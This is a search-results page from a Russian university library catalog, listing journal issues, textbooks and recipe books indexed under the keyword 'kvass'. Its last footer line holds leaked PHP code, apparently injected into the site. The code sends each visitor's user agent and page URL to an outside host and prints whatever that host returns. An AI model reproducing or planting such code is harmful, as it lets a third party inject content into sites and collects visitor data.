Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

61 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=КВАС")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 19
1. 
Питание и общество. - Журнал, 2010г. № 11
Оглавление 
  • Сальков, Петр. Музей забытых вкусов / П. Сальков. - с.4-5
  • Туватова, В. Использование средств маркетинга для продвижения ресторанной продукции / В. Туватова. - с.6-7
  • Кучер, Л. Искусство ведения переговоров / Л. Кучер, Л. Шкуратова. - с.8
  • Забнев, Сергей. Кофе по-турецки / С. Забнев. - с.9
  • Как худеют лучшие шеф-повара мира. - с.10-11
  • Арефьева, Елена. Какая каша - ваша? / Е. Арефьева. - с.12-13
  • Вяленая треска под соусом. - с.13
  • Сальков, Петр. Приготовил Владимир Мухин / П. Сальков. - с.14-15
  • Сальков, Петр. "Сфера обитания" / П. Сальков. - с.18-19
  • Симонов, Г. Рыба и колбасные изделия из нее / Г. Симонов. - с.20-21
  • Арефьева, Е. Рыбное меню / Е. Арефьева. - с.21-22
  • Финик. - с.23
  • Суворов, Роман. Как украсить тарелку / Р. Суворов. - с.24-25
  • Киреевский, Игорь. Медик, ученый, кулинар / И. Киреевский. - с.25
  • Ковалев, Н. И. Из глубины веков / Н. И. Ковалев, М. Н. Куткина, Н. Я. Карцева. - с.26-27
  • Арефьева, Елена. Сказ о пельмене / Е. Арефьева, А. Арефьева. - с.28-29
  • Арефьева, А. Русский квас много народу спас / А. Арефьева. - с.30
  • Каширина, Елена. Косметика от природы / Е. Каширина. - с.31
  • Мухин, Владимир. Бараньи языки с драниками / В. Мухин
2. 
Химия и жизнь - XXI век. - Журнал, 2011г. № 5
Оглавление 
  • Комаров, С. М. Черный дым над Фукусимой / С. М. Комаров. - с.2-4
  • Комаров, С. М. Весы для атомной энергетики / С. М. Комаров. - с.4-7
  • Стрельникова, Л. Жизнь. Версия науки / Л. Стрельникова. - с.8-13
  • Бужилова, А. П. Палеопатология / А. П. Бужилова. - с.14-19
  • Комарова, С. М. Момент атеросклероза / С. М. Комарова. - с.20
  • Комаров, С. М. Глаз Громозеки / С. М. Комаров. - с.20
  • Комаров, С. М. Живые пилюли / С. М. Комаров. - с.20
  • Комаров, С. М. Пожар в прерии / С. М. Комаров. - с.20
  • Комаров, С. М. Бампер из ананаса / С. М. Комаров. - с.21
  • Комаров, С. М. Реактив на взрывчатку / С. М. Комаров. - с.21
  • Комаров, С. М. Игры с атомами / С. М. Комаров. - с.21
  • Комаров, С. М. Обман вкуса / С. М. Комаров. - с.21
  • Рогожников, С. И. Двенадцать столетий химиков / С. И. Рогожников. - с.22-27
  • Лясота, Е. О науке без прикрас / Е. Лясота. - с.28-29
  • Лясота, Е. Доктор Хаус для бедных / Е. Лясота. - с.29
  • Стрельникова, Е. Криминальный пигмент / Е. Стрельникова. - с.30-35
  • Васильев, С. Без врача в голове / С. Васильев. - с.36
  • Анина, Н. Панде нужно хорошее дупло / Н. Анина. - с.38-39
  • Резник, Н. Л. Что скажешь, мышь? / Н. Л. Резник. - с.40-43
  • Селезнева, Н. В. Вибрационная картина мира / Н. В. Селезнева. - с.44-46
  • Мартынов, Е. П. Полосатые, но не тигры / Е. П. Мартынов. - с.47-48
  • Ручкина, Н. Мак / Н. Ручкина. - с.50-51
  • Голдин, И. Тот, кто смотрит за указателями / И. Голдин. - с.55-59
  • Романцев, Ю. Как я делал русский квас / Ю. Романцев. - с.60-61
  • Мотыляев, А. "Взял бы я вас, да потопите лодку... " / А. Мотыляев. - с.62
  • Анофелес, С. Отрастание глаза / С. Анофелес. - с.63
  • Демина, М. Самый ценный кристалл / М. Демина. - с.64-65
Держатели документа (Информация об экземплярах) 
3. 
Ильина Е. В. Малые предприятия по производству пива, безалкогольных напитков, спирта и ликероводочных изделий [Текст] / Е. В. Ильина ; дар. В. В. Арсеньев, 2006. - 128 с.
Держатели документа (Информация об экземплярах) 

В пособии приводятся основные характеристики предприятий по производству пива, безалкогольных напитков, спирта, ликероводочных изделий. Подробно рассматриваются аппаратно-технологические схемы и оборудование этих предприятий, а также основные свойства применяемого сырья, приводятся требования к качеству воды. Приведен бизнес-план, ориентированный на получение кредита в банке для организации работы малого предприятия, а также условный проект бизнес-плана мини-спиртзавода.

4. 
Молочная промышленность. - Журнал, 2010г. № 7
Оглавление 
  • Радаева, И. А. Ведущие ученые отрасли: Богданов Вячеслав Михайлович / И. А. Радаева. - с.80
  • К юбилею ведущего маслодела России. - с.74-75
  • Дунченко, Н. И. Научно-исследовательская работа - одна из основных составляющих подготовки магистров / Н. И. Дунченко, Л. В. Калинина, А. В. Ионов. - с.72-73
  • Пасько, О. В. Социальная значимость и экономическая эффективность технологий ферментированных продуктов / О. В. Пасько. - с.70-71
  • Быстрозамороженная творожная запеканка. - с.69
  • Степанов, К. М. Якутские национальные кисломолочные продукты нового поколения / К. М. Степанов, В. Т. Васильева. - с.68
  • Глаголева, Л. Э. Формы связи влаги в продуктах на творожной основе / Л. Э. Глаголева, Н. Ю. Черноусова, Л. С. Просвирина. - с.66-67
  • Количество в кефире полисахарида, производимого молочнокислыми бактериями. - с.64-65
  • Ермолаев, В. А. Вакуумное концентрирование молочно-белковых продуктов / В. А. Ермолаев. - с.62-63
  • Красноштанова, А. А. Молекулярное распределение белков при ультраконцентрировании сыворотки / А. А. Красноштанова, В. Г. Попов, О. В. Рытченкова. - с.60-61
  • Гиринович, О. А. Семинар "ЭФКО": фокус на творожную продукцию / О. А. Гиринович. - с.58-59
  • Смирнова, И. А. Молочно-белковый концентрат / И. А. Смирнова, В. Н. Печерина. - с.57
  • Мельникова, Е. И. Имитатор молочного жира для синбиотических продуктов / Е. И. Мельникова, Е. Б. Станиславская, Н. А. Подгорный. - с.55-56
  • Куликова, И. К. Кисломолочный напиток смешанного брожения / И. К. Куликова, И. А. Евдокимов, М. А. Гашева. - с.53-54
  • Тагатозосодержащий подсластитель. - с.52
  • Кравченко, Э. Ф. Белковые структурообразователи - загустители / Э. Ф. Кравченко, В. П. Захлестных. - с.51
  • Евелева, В. В. Добавки для йогурта / В. В. Евелева, А. Л. Рублев, Л. А. Забодалова. - с.48-50
  • Соколенко, Г. Г. Сывороточный квас с экстрактом амаранта / Г. Г. Соколенко, К. К. Полянский, Т. В. Вострикова. - с.46-47
  • Электродиализные установки для переработки молочной сыворотки. - с.45
  • Бурцев, Д. Г. Концентрат "КПС - лакт" / Д. Г. Бурцев, А. Д. Лодыгин. - с.44
  • Бурцев, Д. Г. Бифидогенный концентрат "Лактобел" / Д. Г. Бурцев, В. Н. Чернобаев. - с.43
  • Дудникова, О. А. Липидно-белковый концентрат / О. А. Дудникова, А. Д. Лодыгин, А. Г. Храмцов. - с.42-43
  • Храмцов, А. Г. Модернизация молочного дела: продвижение инновационных приоритетов / А. Г. Храмцов. - с.38-41
  • Комментарии к Типовой технологической инструкции по стандарту на молоко и сливки сгущенные с сахаром. - с.34-36
  • Пасько, О. В. Активизация роста и защиты культур с пробиотическими свойствами / О. В. Пасько. - с.31-32
  • Арсеньева, Т. П. К чему приводит лактазная недостаточность / Т. П. Арсеньева. - с.28-30
  • Хамагаева, И. С. Внеклкеточные метаболиты, синтезируемые пробиотическими микроорганизмами / И. С. Хамагаева, С. Б. Тумунова, Н. А. Замбалова. - с.27
  • Влияние лактитола на сквашивание и антагонистическую активность молочнокислых микроорганизмов. - с.24-26
  • Производители "Бифилайф" - лидеры молочной промышленности. - с.23
  • Ефимочкина, Н. Р. Возбудители пищевых зоонозов / Н. Р. Ефимочкина. - с.20-22
  • В помощь микробиологу. - с.18
  • Миллер, М. "Прозрачное молоко" на предприятии TNUVA / М. Миллер, М. Полыновская. - с.16-17
  • Имидж розничных сетей России глазами покупателей. - с.13-14
  • Быковская, Г. В. Как можно стабилизировать цены на молоко / Г. В. Быковская. - с.9-12
  • Потенциальные возможности и перспективы развития рынка молока и молочных продуктов в России. - с.6-8
Держатели документа (Информация об экземплярах) 
5. 
Современная торговля. - Журнал, 2013г. № 1
Оглавление 
  • Кодекс для российского ритейла. - с.4-5.
    Кл. слова: рынок, потребительский рынок
  • Бриллианты с Сети. - с.12-13.
    Кл. слова: драгоценные металлы, драгоценные камни
  • Объединенный независимый ритейл займет 10% розничного рынка России. - с.14.
    Кл. слова: Федеральный закупочный союз
  • Открылся 50-й супермаркет "Азбука Вкуса". - с.15.
    Кл. слова: торговля, товары категории "фреш"
  • Мобильный бум. - с.16-17.
    Кл. слова: смартфон, МТС
  • Ни капли алкоголя. - с.18-21.
    Кл. слова: соки , минеральная вода, квас
  • Атака на складф. - с.22-23.
    Кл. слова: складские комплексы, онлайн-ритейлеры
  • Глобализация мирового рынка ритейла продолжается. - с.24-26.
    Кл. слова: арендные ставки, торговля недвижимостью
  • Интернет вещей и новые возможности управления. - с.34-37.
    Кл. слова: этапы логистики, розничная торговля
  • Вавилон и Кодекс Хаммурапи. - с.38-39.
    Кл. слова: евреи, свод законов
  • Как повысить новогодние продажи. - с.40-45.
    Кл. слова: рекламная компания, промакция, скидочные карты
  • Сипатова, М. Стресс от клиента / М. Сипатова. - с.54-59.
    Кл. слова: нейтрализация конфликта, бизнес-тренеры
  • Менеджер по рекламе. - с.60-63.
    Кл. слова: интернет-реклама
  • Львова, В. Тестирование магазина подарков "Просто так" / В. Львова. - с.64-67.
    Кл. слова: дизайн магазина, креативные авторские подарки
  • Коверов, А. Тестирование интернет-магазиноа стильных подарков Podarkoff.ru / А. Коверов. - с.68-69.
    Кл. слова: выбор подарков, онлайновый продавец
6. 
Родина. - Журнал, 2016г. № 4
Оглавление 
  • Эрлихман, В. Честь по-русски. Кодекс офицера / В. Эрлихман. - с.17-18
    Кл. слова: КОДЕКС ОФИЦЕРА
  • Эрлихман, В. Честь по-русски. Кодекс моряка / В. Эрлихман. - с.19
    Кл. слова: КОДЕКС МОРЯКА
  • Эрлихман, В. Честь по-русски. Кодекс дуэлянта / В. Эрлихман. - с.20
    Кл. слова: КОДЕКС ДУЭЛЯНТА
  • Эрлихман, В. Честь по-русски. Кодекс врача / В. Эрлихман. - с.21
    Кл. слова: КОДЕКС ВРАЧА
  • Эрлихман, В. Честь по-русски. Кодекс купца / В. Эрлихман. - с.22
    Кл. слова: КОДЕКС КУПЦА
  • Эрлихман, В. Честь по-русски. Кодекс строителя коммунизма / В. Эрлихман. - с.23
    Кл. слова: КОДЕКС СТРОИТЕЛЯ КОММУНИЗМА
  • Шеваров, Д. А Вы помните эпиграф к "Капитанской дочке"? / Д. Шеваров. - с.24-25
    Кл. слова: ЧЕСТЬ
  • Шурыгин, В. "Пуская мы погибнем, но город спасем!.." / В. Шурыгин. - с.26-31
    Кл. слова: ЛЕТЧИКИ СОВЕТСКИЕ
  • Эрлихман, В. "Хочу быть похороненным на Красной площади..." / В. Эрлихман. - с.40-43
  • Марков, В. "Восток - 1938" / В. Марков. - с.44-49
  • Скопина, К. Мягкая "посадка" Фрэнсиса Пауэрса / К. Скопина. - с.50-55
  • Лепский, Ю. Зеркало Андрея Тарковского / Ю. Лепский. - с.82-84
  • Зайцева, Е. Щи с мясом, а нет - так хлеб с квасом / Е. Зайцева. - с.88-91
    Кл. слова: КВАС, ПОСТ ПРАВОСЛАВНЫЙ, РЕЦЕПТЫ
  • Кривоконь, А. Ресторанная жизнь удалая / А. Кривоконь. - с.106-109
    Кл. слова: ЗАВЕДЕНИЕ ПИТЕЙНОЕ, ТРАКТИР
  • Борисёнок, Ю. "Каждый из нас должен быть хоть немного историком..." / Ю. Борисёнок. - с.110-112
  • Заяц, Н. Царская продразверстка / Н. Заяц. - с.113-117
    Кл. слова: ПРОДРАЗВЕРСТКА
  • Борисёнок, Ю. "Ворую только в государственных учреждениях..." / Ю. Борисёнок. - с.122-125
    Кл. слова: НЕСОВЕРШЕННОЛЕТНИЕ - НАКАЗАНИЕ
  • Сорокин, А. Гагарин и главный встречающий / А. Сорокин. - с.126-127
    Кл. слова: ФОТОГРАФИЯ ОФИЦИАЛЬНАЯ
Держатели документа (Информация об экземплярах) 
7. 
Деловой вестник "Российской кооперации". - Журнал, 2004г. № 10
Оглавление 
  • Субботин, М. Профсоюз - это МЧС для трудящихся! / М. Субботин. - с.20-21
  • Богдевич, С. Нужно объединение и политическое, и экономическое! / С. Богдевич. - с.28-31
  • Тюнюкова, Е. Информация должна быть симметричной / Е. Тюнюкова. - с.32-33
  • Соболев, В. Одежда, макароны, печенье и квас / В. Соболев. - с.34-37
    Кл. слова: ОБОРУДОВАНИЕ ПИЩЕВЫХ ПРОИЗВО
  • Иванов, А. Кибуцы - это еще не весь Израиль / А. Иванов. - с.38-40
Держатели документа (Информация об экземплярах) 
8. 
Питание и общество. - Журнал, 2014г. № 6
Оглавление 
  • Костич, Дж. Проблемы консалтинга при открытии нового предприятия / Дж. Костич. - с.2-4
    Кл. слова: КОНСАЛТИНГ, ОТКРЫТИЕ ПРЕДПРИЯТИЯ, ПРЕДПРИЯТИЕ
  • ГМО: какой контроль необходим?. - с.14-15
    Кл. слова: ОРГАНИЗМ ГЕНЕТИЧЕСКИ МОДИФИЦИРОВАННЫЙ
  • Арефьева, А. Квас, как хлеб, никогда не надоест / А. Арефьева. - с.22-23
9. 
Десерты и напитки [Текст] / сост. Е. В. Шиш ; дар. В. А. Козлова, 1995. - 490, [1] с.
Держатели документа (Информация об экземплярах) 
10. 
Бани и сауны: Энциклопедия здоровья [Текст] / сост. М. О. Орлова, 2004. - 317, [2] с.
Держатели документа (Информация об экземплярах) 
11. 
Сборник рецептур национальных блюд и кулинарных изделий [Текст] : для предприятий общественного питания всех форм собственности / сост. Е. В. Данилевская, 2002. - 831 с.
Ключевые слова 
КУХНЯ УКРАИНСКАЯ -- КУХНЯ НАРОДОВ РФ -- КУХНЯ БЕЛОРУССКАЯ -- КУХНЯ молдавская -- КУХНЯ эстонская -- КУХНЯ литовская -- КУХНЯ ЛАТЫШСКАЯ -- КУХНЯ ГРУЗИНСКАЯ -- КУХНЯ АРМЯНСКАЯ -- КУХНЯ АЗЕРБАЙДЖАНСКАЯ -- КУХНЯ УЗБЕКСКАЯ -- КУХНЯ КАЗАХСКАЯ -- КУХНЯ туркменская -- КУХНЯ киргизская -- КУХНЯ таджикская -- БЛЮДА ХОЛОДНЫЕ -- САЛАТ -- ЗАКУСКИ -- СУП -- КВАС -- Борщ -- Похлебки -- БЛЮДА ИЗ картофеля -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ ГРИБОВ -- БЛЮДА ИЗ КРУП -- БЛЮДА ИЗ БОБОВЫХ -- БЛЮДА ИЗ ЯИЦ -- БЛЮДА ИЗ ТВОРОГА -- БЛЮДА ИЗ РЫБЫ -- БЛЮДА МЯСНЫЕ -- БЛЮДА ИЗ ПТИЦЫ -- БЛЮДА ИЗ КРОЛИКА -- ГАРНИР -- СОУС -- БЛЮДА СЛАДКИЕ -- НАПИТКИ -- БЛЮДА ИЗ МУКИ -- ВАРЕНИКИ -- БЛИНЫ -- ФАРШ -- ИЗДЕЛИЯ МУЧНЫЕ
Держатели документа (Информация об экземплярах) 
12. 
Иванникова Е. И. Барное дело [Текст] : Учеб. для студ. образоват. учреждений сред. проф. образования / Е. И. Иванникова, Т. В. Иванникова, Г. В. Семенова, 2002. - 346 с.
Ключевые слова 
БАРМЕН -- БАНКЕТ -- ПРИЕМ -- Коктейль - бар -- Десерт - бар -- МЕНЮ -- КАРТА вин -- ВИНОДЕЛИЕ -- ШАМПАНСКОЕ -- ВИНО ВИНОГРАДНОЕ -- Ампелография -- ДЕГУСТАЦИЯ напитков -- КОНЬЯК -- БРЕНДИ -- Водка -- ВИСКИ -- Джин -- Ром -- БАЛЬЗАМ -- Биттер -- ЛИКЕР -- Пиво -- Напиток смешанный -- НАЛИВКА -- НАСТОЙКА -- НАПИТОК десертный -- Пунш -- Грог -- Глинтвейн -- Текила -- Аперитив -- Дижестив -- Квас -- Компот -- Кисель -- Сок -- Морс -- Лимонад -- КРЮШОН -- Кофе -- Какао -- Чай -- НАПИТОК АЛКОГОЛЬНЫЙ -- НАПИТОК БЕЗАЛКОГОЛЬНЫЙ -- НАПИТОК СЛАБОАЛКОГОЛЬНЫЙ -- НАПИТОК ТОНИЗИРУЮЩИЙ -- НАПИТОК молочный
Держатели документа (Информация об экземплярах) 
13. 
Коробкина, Зоя Васильевна. Товароведение и экспертиза вкусовых товаров [Текст] : Учебник гриф-МО / З. В. Коробкина, С. А. Страхова, 2003. - 352 с.
14. 
Сборник рецептур национальных блюд и кулинарных изделий [Текст] : для предприятий общественного питания всех форм собственности / сост. Е. В. Данилевская, 2003. - 831 с.
Ключевые слова 
КУХНЯ УКРАИНСКАЯ -- КУХНЯ НАРОДОВ РФ -- КУХНЯ БЕЛОРУССКАЯ -- КУХНЯ молдавская -- КУХНЯ эстонская -- КУХНЯ литовская -- КУХНЯ ЛАТЫШСКАЯ -- КУХНЯ ГРУЗИНСКАЯ -- КУХНЯ АРМЯНСКАЯ -- КУХНЯ АЗЕРБАЙДЖАНСКАЯ -- КУХНЯ УЗБЕКСКАЯ -- КУХНЯ КАЗАХСКАЯ -- КУХНЯ туркменская -- КУХНЯ киргизская -- КУХНЯ таджикская -- БЛЮДА ХОЛОДНЫЕ -- САЛАТ -- ЗАКУСКИ -- СУП -- КВАС -- Борщ -- Похлебки -- БЛЮДА ИЗ картофеля -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ ГРИБОВ -- БЛЮДА ИЗ КРУП -- БЛЮДА ИЗ БОБОВЫХ -- БЛЮДА ИЗ ЯИЦ -- БЛЮДА ИЗ ТВОРОГА -- БЛЮДА ИЗ РЫБЫ -- БЛЮДА МЯСНЫЕ -- БЛЮДА ИЗ ПТИЦЫ -- БЛЮДА ИЗ КРОЛИКА -- ГАРНИР -- СОУС -- БЛЮДА СЛАДКИЕ -- НАПИТКИ -- БЛЮДА ИЗ МУКИ -- ВАРЕНИКИ -- БЛИНЫ -- ФАРШ -- ИЗДЕЛИЯ МУЧНЫЕ
Держатели документа (Информация об экземплярах) 
15. 
Технологии пищевых производств [Текст] : учеб. для студентов высш. учеб. заведений / под общ. ред. А. П. Нечаева, 2005. - 767 с.
Ключевые слова 
ПИТАНИЕ - ЗДОРОВЬЕ -- ПИТАНИЕ НАСЕЛЕНИЯ -- ПРОДУКТЫ ПИЩЕВЫЕ -- БЕЛКИ - ПИТАНИЕ -- ЛИПИДЫ - ПИТАНИЕ -- УГЛЕВОДЫ - ПИТАНИЕ -- ВИТАМИНЫ - ПИТАНИЕ -- ВЕЩЕСТВА МИНЕРАЛЬНЫЕ - ПИТАН -- ВОДА - ПИТАНИЕ -- ПРОИЗВОДСТВО ПИЩЕВОЕ -- СТАНДАРТИЗАЦИЯ ПРОДУКЦИИ ПИЩ -- СЕРТИФИКАЦИЯ ПИЩЕВЫХ ПРОДУКТ -- КАЧЕСТВО ПИЩЕВЫХ ПРОДУКТОВ -- СЫРЬЕ ПИЩЕВОЕ -- ЗЕРНО - ПРОИЗВОДСТВО -- солод -- КРАХМАЛ - ПРОИЗВОДСТВО -- САХАР - ПРОИЗВОДСТВО -- МУКА ПШЕНИЧНАЯ - ГОСТ -- МОЛОКО - производство -- ЯЙЦЕПРОДУКТЫ -- ДОБАВКА ПИЩЕВАЯ -- ДОБАВКА БИОЛОГИЧЕСКИ АКТИВНА -- БАД -- ПРОБИОТИКИ -- ТЕХНОЛОГИЯ ПРОДУКЦИИ -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- ИЗДЕЛИЯ ХЛЕБОБУЛОЧНЫЕ -- ИЗДЕЛИЯ МАКАРОННЫЕ -- МАСЛО РАСТИТЕЛЬНОЕ -- ЖИРЫ - производство -- ПИВО - производство -- КВАС -- ДРОЖЖИ - производство -- кислота лимонная -- УКСУС -- КИСЛОТА молочная -- КОНЬЯК - производство -- ВИНОДЕЛИЕ -- НАПИТОК БЕЗАЛКОГОЛЬНЫЙ -- КОНСЕРВЫ ОВОЩНЫЕ - ПРОИЗВОДС -- КОНСЕРВЫ ПЛОДООВОЩНЫЕ -- ЧАЙ - производство
Держатели документа (Информация об экземплярах) 
16. 
Дубцов Г. Г. Товароведение продовольственных товаров [Текст] / Г. Г. Дубцов, 2014. - 333 с.
Ключевые слова 
ТОВАРЫ ПРОДОВОЛЬСТВЕННЫЕ -- ТОВАРОВЕДЕНИЕ ПРОДОВОЛЬСТВЕННЫХ ТОВАРОВ -- КАЧЕСТВО ПРОДОВОЛЬСТВЕННЫХ ТОВАРОВ -- ЦЕННОСТЬ ФИЗИОЛОГИЧЕСКАЯ -- БЕЗОПАСНОСТЬ ПРОДОВОЛЬСТВЕННЫХ ТОВАРОВ -- ЗЕРНО -- МУКА -- КРУПА -- ИЗДЕЛИЯ МАКАРОННЫЕ -- СОЛОД -- ИЗДЕЛИЯ ХЛЕБОБУЛОЧНЫЕ -- КОРНЕПЛОДЫ -- ОВОЩИ -- ПЛОДЫ -- САХАР -- КРАХМАЛ -- МЕД -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- ПРОДУКТЫ ВКУСОВЫЕ -- НАПИТОК АЛКОГОЛЬНЫЙ -- ПИВО -- КВАС -- НАПИТОК БЕЗАЛКОГОЛЬНЫЙ -- ЧАЙ -- КОФЕ -- ПРЯНОСТИ -- МОЛОКО -- СЛИВКИ -- КОНСЕРВЫ МОЛОЧНЫЕ -- МОЛОКО СУХОЕ -- ПРОДУКТЫ КИСЛОМОЛОЧНЫЕ -- СЫР -- МАСЛО КОРОВЬЕ -- МЯСО -- ИЗДЕЛИЯ КОЛБАСНЫЕ -- МЯСОКОПЧЕНОСТИ -- КОНСЕРВЫ МЯСНЫЕ -- РЫБА -- МОРЕПРОДУКТЫ -- ЯЙЦА -- ЯЙЦЕПРОДУКТЫ -- ЖИР ПИЩЕВОЙ -- МАРГАРИН -- РАЗРЫХЛИТЕЛЬ ТЕСТА -- ДРОЖЖИ -- ВОДА -- УПАКОВКА -- ПОСУДА ОДНОРАЗОВАЯ
Держатели документа (Информация об экземплярах) 
17. 
Иванникова Е. И. Барное дело [Текст] : учеб. для студ. образоват. учреждений сред. проф. образования / Е. И. Иванникова, Т. В. Иванникова, Г. В. Семенова, 2004. - 346 с.
Ключевые слова 
БАРМЕН -- БАНКЕТ -- ПРИЕМ -- Коктейль - бар -- Десерт - бар -- МЕНЮ -- КАРТА вин -- ВИНОДЕЛИЕ -- ШАМПАНСКОЕ -- ВИНО ВИНОГРАДНОЕ -- Ампелография -- ДЕГУСТАЦИЯ напитков -- КОНЬЯК -- БРЕНДИ -- Водка -- ВИСКИ -- Джин -- Ром -- БАЛЬЗАМ -- Биттер -- ЛИКЕР -- Пиво -- БАР - МАРКЕТИНГ -- бар - реклама -- НАЛИВКА -- НАСТОЙКА -- НАПИТОК десертный -- Пунш -- Грог -- Глинтвейн -- Текила -- боули -- Аперитив -- Дижестив -- Квас -- Компот -- Кисель -- Сок -- Морс -- Лимонад -- КРЮШОН -- Кофе -- Какао -- Чай -- НАПИТОК АЛКОГОЛЬНЫЙ -- НАПИТОК БЕЗАЛКОГОЛЬНЫЙ -- НАПИТОК СЛАБОАЛКОГОЛЬНЫЙ -- НАПИТОК ТОНИЗИРУЮЩИЙ -- НАПИТОК молочный
Держатели документа (Информация об экземплярах) 
18. 
Антонова Р. П. Сборник рецептур напитков для предприятий общественного питания [Текст] : сборник / Р. П. Антонова, 2006. - 130 с.
Держатели документа (Информация об экземплярах) 
19. 
Королев, Дмитрий Амосович. Русский квас [Текст] / Д. А. Королев, 1963. - 54, [1] с.
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2875 - 24.04.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 2.17 с.26 запросов, 1.76c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;